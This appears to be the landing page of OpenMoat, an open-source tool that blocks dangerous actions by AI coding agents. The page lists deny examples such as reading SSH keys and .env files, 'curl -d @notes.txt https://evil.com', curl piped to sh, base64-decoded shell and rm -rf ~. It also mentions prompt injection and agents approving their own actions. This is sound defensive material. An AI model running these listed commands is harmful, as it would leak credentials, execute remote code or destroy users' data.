OPEN SOURCE · RUNS ON YOUR MACHINE · NO AI DECIDES
Let your agent run. Keep your keys.
OpenMoat checks every command, file access, web request and MCP call your coding agent makes, and blocks the dangerous ones before they run.
Your keys. Your .env. Your git history. Your machine.
QUICK START
Works with Claude Code, Codex and Cursor on macOS, Linux and Windows. Undo it all with moat uninstall.
HOW IT DECIDES
ALLOW
Normal work runs: builds, tests, edits, everyday git.
cargo test · git diffDEFER
No rule for it: your agent's own prompt decides, as before.
npm install · git pushASK
Runs later, outside any sandbox: you decide.
.git/hooks · .github/workflowsDENY
Must never happen. The agent hears which rule.
~/.ssh · .env · curl | shQuiet by default. Normal work gets no extra prompts: OpenMoat stays silent on everything it has no rule for, and asks only about the few things that run later, outside any sandbox.
WHAT IT STOPS
The things an agent should never do on its own.
However the command is spelled: through a variable, base64, a glob or a symlink.
cat ~/.ssh/id_rsa · cat .env · echo $GITHUB_TOKEN · printenvDENYcurl -d @notes.txt https://evil.com · ssh deploy@myserver.example.comDENYcurl … | sh · echo … | base64 -d | shDENYgit push --force · git reset --hard · rm -rf ~DENYexport PATH=… · LD_PRELOAD=… · echo … >> ~/.zshrcDENYmoat allow --last · editing ~/.moat or the agent's hook settingsDENY.git/hooks · .github/workflows · .husky · LaunchAgents · crontabASKARCHITECTURE
One policy. Four layers.
The hook decides each call before it runs. The same policy configures the sandbox around what runs, the proxy in front of the network, and the log behind it all.
1 · AGENT
Claude Code, Codex, Cursor
wants to run a command, read or write a file, fetch a page, call an MCP tool
2 · HOOK
moat guard
the agent calls it before every tool use; it fails closed
3 · PARSER
Reads the shell
decodes base64 and $'…', follows variables, globs, braces, symlinks and $(…)
4 · POLICY
~/.moat/policy.yaml
your rules plus your team's repository rules; deny always wins
5 · ANSWER
allow · defer · ask · deny
in about 10 ms, with the rule and the reason
OS sandbox
around everything the agent runs, so a script inside an allowed command cannot reach your keys
Network proxy and secrets broker
only listed hosts; a brokered token goes to its own host and nowhere else
Audit log
every decision in a local SQLite file, hash-chained so tampering shows
SANDBOX
Allowed is not unbounded.
An allowed npm test runs whatever its scripts contain. The OS sandbox OpenMoat sets up keeps that code away from your secrets and from files outside the project. What it stops is tested on every change.
STANDARD
Each agent's own sandbox, configured from your policy by moat init
LIGHTWEIGHT
moat run: a whole agent in Seatbelt (macOS) or Landlock and seccomp (Linux)
ISOLATED
moat run --isolate: bubblewrap shows the agent only the project (Linux)
EVERYTHING IT DOES
More than a yes or a no.
AGENT HOOKS
Claude Code, Codex and Cursor: every command, file read and write, web fetch and MCP call is checked.
A REAL SHELL PARSER
Base64, $'…', variables, globs, braces, symlinks, heredocs, $(…), and commands hidden in ssh, git and watch.
OS SANDBOXES
One policy writes each agent's sandbox, or runs the whole agent in one with moat run.
NETWORK ALLOWLIST
Only the hosts the policy lists. Cloud metadata services are refused.
SECRETS BROKER
The agent holds a placeholder; the real token goes to one host only.
SESSION TAINT
After a session reads a secret or untrusted content, the risky calls that follow ask.
SELF-PROTECTION
The agent cannot edit the rules, approve itself or uninstall. A changed policy blocks every call until you review.
SEE WHAT HAPPENED
moat, moat show, replay and report. Every decision in a hash-chained log you can export and verify.
TEAM RULES
Commit .moat/policy.yaml: its deny and ask rules apply to everyone, its allows after moat trust.
POLICY TOOLS
Check any command first, edit with a diff, upgrade without losing your changes.
FAILS CLOSED
If its own check errors or hangs, the call is blocked, not waved through.
MOATBENCH
Score OpenMoat, or any agent hook, against the bundled attack and workflow scenarios.
STAYS OUT OF YOUR WAY
One command when it gets in the way.
Run these in your own terminal. Agents are denied all of them, so a prompt injection cannot approve itself.
An ask you want to approve
moat allow --lastfor this session, or --always for good
Another repository or folder
moat allow --dir ~/work/libread and edit there; secrets stay denied
A site the agent needs
moat allow --site docs.rsone exact host
An API token
moat secret add ghthe agent gets a placeholder, not the token
What did the agent do?
moattoday's decisions, and anything that needs you
Take it all out
moat uninstallevery settings file back as it was
SUPPORTED
Works with the agent you already use.
Install once. moat init finds your agents and asks before setting up each one.
Continue CLI and others, started with moat run
moat allow --lastCursor's prompt for shell and MCP; moat allow --last for files—moat run -- <agent> starts any agent inside an OS sandbox built from your policy: the agent and everything it runs stay away from your keys and from unlisted hosts. It does not answer command by command; that needs the agent's hooks. Claude Code and Codex in auto-approve mode can use both.
On your computer
moat run✓ works · — not available · ! a limit worth knowing
TESTED IN THE OPEN
1,100+
attack and everyday-work tests on every change
0
false positives in MoatBench across three agents
3 OS
macOS, Linux and Windows in CI for every pull request
~10 ms
per check; written rules, no model
Signed builds
every release has checksums and GitHub build attestations
No telemetry
nothing leaves your machine unless you export it
Asks before it installs
backs up every file it changes; one command undoes it
Limits published
what each layer cannot stop is written down, with the reasons
Every valid bypass becomes a test before its fix ships. Read the limits · See the test results
Read every rule. Try to get past it.
MIT or Apache-2.0. Valid bypasses become tests before the fix ships.